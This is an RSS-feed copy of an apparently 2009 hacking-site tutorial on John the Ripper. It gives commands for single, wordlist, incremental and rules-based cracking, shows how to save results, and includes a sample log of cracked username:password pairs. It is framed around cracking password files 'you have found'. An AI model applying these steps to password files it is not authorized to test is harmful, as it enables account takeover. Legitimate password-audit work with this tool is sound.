<p>&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<strong> PASSWORD FILES</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8211;<br />
A. Naming<br />
I personally name my files with a p extension, some people use txt<br />
eg If i had the password file to Dannis&#8217;, I would name it danni.p<br />
The reason is that p stands for password file, I then name my decrypted<br />
password files with a txt extension<br />
It is really up to you what you name your password files, just remember<br />
that the names should be less than 8 characters<br />
eg likethis.p<br />
B. Where should I put them?<br />
Always have the password files you have found in the same directory as<br />
JOHN.EXE, Its just easier to handle them that way</p>
<p>&#8212;&#8212;&#8212;-<br />
<strong> DECRYPTING</strong><br />
&#8212;&#8212;&#8212;-<br />
Depending on what JTR version you have downloaded, you have to change into<br />
the directory JOHN.EXE is</p>
<p>&#8212;&#8212;&#8212;<br />
<strong> JTR MODES</strong><br />
&#8212;&#8212;&#8212;<br />
There are 3 main modes we will be dealing with<br />
-single, -wordfile, -incremental</p>
<p>[KEYS]<br />
[passfile] &#8211; this is the name of your password file<br />
[wordlist] &#8211; this is the name of your wordlist<br />
[output] &#8211; this is the name of the file you will name when you want to<br />
save your decrypted passwords</p>
<p>&#8212;&#8212;&#8212;&#8211;<br />
<strong> SINGLE MODE</strong><br />
&#8212;&#8212;&#8212;&#8211;<br />
Single Mode attempts to find the weakest of all the passwords. This is one<br />
of the fastest methods.</p>
<p>SINGLE MODE SYNTAX<br />
john -single [passfile]<br />
or you could use<br />
john -si [passfile]</p>
<p>Example:<br />
If you found a [passfile] and named it danni.p then you would type<br />
john -si danni.p</p>
<p>Take a look at SCREEN SHOT OF A JTR SESSION</p>
<p>&#8212;&#8212;&#8212;&#8212;-<br />
<strong> WORDFILE MODE</strong><br />
&#8212;&#8212;&#8212;&#8212;-<br />
Wordfile Mode is the next quickest method. It requires the use of a wordlist<br />
The wordlist must be in a single wordlist and not a combo list</p>
<p><strong>WORDFILE SYNTAX</strong><br />
john -wordfile:[wordlist] [passfile]<br />
or<br />
john -w:[wordlist] [passfile]</p>
<p>Example:<br />
If you found a [passfile] and named it danni.p and you had a [wordlist]<br />
named mydict.txt then you would type</p>
<p>john -w:mydict.txt danni.p</p>
<p>Take a look at SCREEN SHOT OF A JTR SESSION</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
<strong> INCREMENTAL MODE</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Incremental mode is the slowest mode and will try to decrypt every pass in<br />
your passfile, as this can take days, months even years, I would use it as<br />
a last resort</p>
<p>There are 4 basic commands we will be dealing with<br />
digits, alpha, all, and leaving it blank</p>
<p>DIGITS mode<br />
This will try to decrypt all the Passwords that are in numbers</p>
<p>ALPHA mode<br />
This will try to decrypt all the Passwords that are letters only</p>
<p>ALL mode<br />
This will try to decrypt all the Passwords, whether they are in numbers, in<br />
letters or some special characters (@!^&amp;&#8230;etc)</p>
<p>WITH NO MODE SELECTED<br />
This will basically do everything to try to decrypt the password file</p>
<p>SYNTAX<br />
john -i [passfile]<br />
john -i:DIGITS [passfile]<br />
john -i:ALPHA [passfile]<br />
john -i:ALL [passfile]</p>
<p><strong>Example:</strong><br />
If you found a [passfile] and named it danni.p<br />
john -i danni.p<br />
john -i:DIGITS danni.p<br />
john -i:ALPHA danni.p<br />
john -i:ALL danni.p</p>
<p>Take a look at SCREEN SHOT OF A JTR SESSION</p>
<p>When running in this mode, If you ever want to stop it push CTRL &#8211; C</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<strong> SHOW MODE &#8211; Saving the Decrypted Files</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
Finally, once JTR has finished its decrypting process, you will be ready<br />
to enjoy the results. These you will save in a file name of your choice.</p>
<p><strong>SHOW SYNTAX</strong><br />
john -show [passfile]&gt;[output]</p>
<p>Example:<br />
If you found a [passfile] and named it danni.p, you decide you want to name the<br />
decrypted password file or [output] to danni.txt</p>
<p>john -show danni.p&gt;danni.txt</p>
<p>Now you can open danni.txt in a TEXT EDITOR<br />
You will see something like this</p>
<p>italia:italiano<br />
makoto:makotox<br />
PADWICK:PADWICKH<br />
kelley:kelleyaj<br />
bechtel:jbechtel<br />
mequery:queryme<br />
seeeee:meeeee<br />
stevewm:stevenm</p>
<p>8 passwords cracked, 246 left</p>
<p>Hopefully you will get more passwords than the example though</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<strong> ADVANCED COMMANDS</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
Here are a few more commands which prove handy when using JTR</p>
<p>&#8212;&#8212;&#8212;&#8212;<br />
<strong> STOPPING JTR</strong><br />
&#8212;&#8212;&#8212;&#8212;<br />
If at anytime you wish to stop the decrypting process then<br />
Hold down the [ CTRL ] key and Push the [ C ] key</p>
<p>&#8212;&#8211;<br />
<strong>RULES</strong><br />
&#8212;&#8211;<br />
This command is used with the Wordfile Option, without it JTR will try only<br />
the words in your wordlist. When this is activated it will try variations as<br />
outlined in the john.ini file. This is also quite slow</p>
<p>RULES SYNTAX<br />
john w:[wordlist] -rules [passfile]</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
<strong> SESSION &amp; RESTORE</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Decrypting by now you will notice can become a long a slow process, JTR<br />
allows you to save save and restore sessions. A session is like a snap<br />
shot of what you are decrypting. It remembers what file you used, and<br />
where you were at if you decide to stop it. session can be used with any<br />
of the main modes.</p>
<p>SESSION &amp; RESTORE SYNTAX<br />
john -restore<br />
john -restore:[session name]<br />
john -session:[session name]</p>
<p>[session name] is any name you choose</p>
<p><strong>EXAMPLE</strong><br />
&#8212;&#8212;-<br />
Lets say you want to decrypt a file named danni.p</p>
<p>OK you&#8217;ve used the -si mode, which was quick<br />
With your trusty wordlist file named biglist.txt you next run the -w mode</p>
<p><strong>FINAL NOTES</strong><br />
&#8212;&#8212;&#8212;&#8211;<br />
There are many other features that JTR uses, that are Advanced, these can be<br />
found in the DOC folder in JTR, just use a text editor to open and read them<br />
We were only concerned with getting at least 50% of the passwords. This may<br />
be achieved by SINGLE and WORDFILE modes<br />
SPEED is dependant on your CPU, If you screen looks like its frozen and<br />
doing nothing, just hit any key a couple of times, you will see a mini<br />
progress report.<br />
Speed is also dependant on the size of your password file and the number of<br />
salts, A salt can be thought of as a slightly different way to encrypt a<br />
file. As there are many ways to encrypt a single password</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
<strong> JTR QUICK REFERENCE</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[KEYS]<br />
[passfile] &#8211; this is the name of your password file<br />
[wordlist] &#8211; this is the name of your wordlist<br />
[output] &#8211; this is the name of the file you will name when you want to<br />
save your decrypted passwords<br />
: &#8211; whenever you see a colon then use it in the command<br />
- &#8211; whenever you see a minus sign then use it in the command<br />
&gt; &#8211; whenever you see this sign then use it in the command<br />
[] &#8211; DO NOT INCLUDE THESE IN THE COMMAND</p>
<p>SINGLE MODE<br />
john -si [passfile]<br />
WORDFILE MODE<br />
john -w:[wordlist] [passfile]<br />
INCREMENTAL MODES<br />
john -i [passfile]<br />
john -i:ALL [passfile]<br />
john -i:DIGITS [passfile]<br />
john -i:ALPHA [passfile]<br />
SHOW MODES<br />
john -show [passfile]&gt;[output]</p>
<p>Loaded 254 passwords with 85 different salts (Standard DES [32/32 BS])<br />
italia (italiano)<br />
makoto (makotox)<br />
PADWICK (PADWICKH)<br />
kelley (kelleyaj)<br />
bechtel (jbechtel)<br />
mequery (queryme)<br />
seeeee (meeeee)<br />
stevewm (stevenm)<br />
guesses: 8 time: 0:00:01:23 100% c/s: 25771 trying: zcatcatk &#8211; zcatcatz</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/03/11/lost-password-recovery-john-the-ripper-tutorial/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

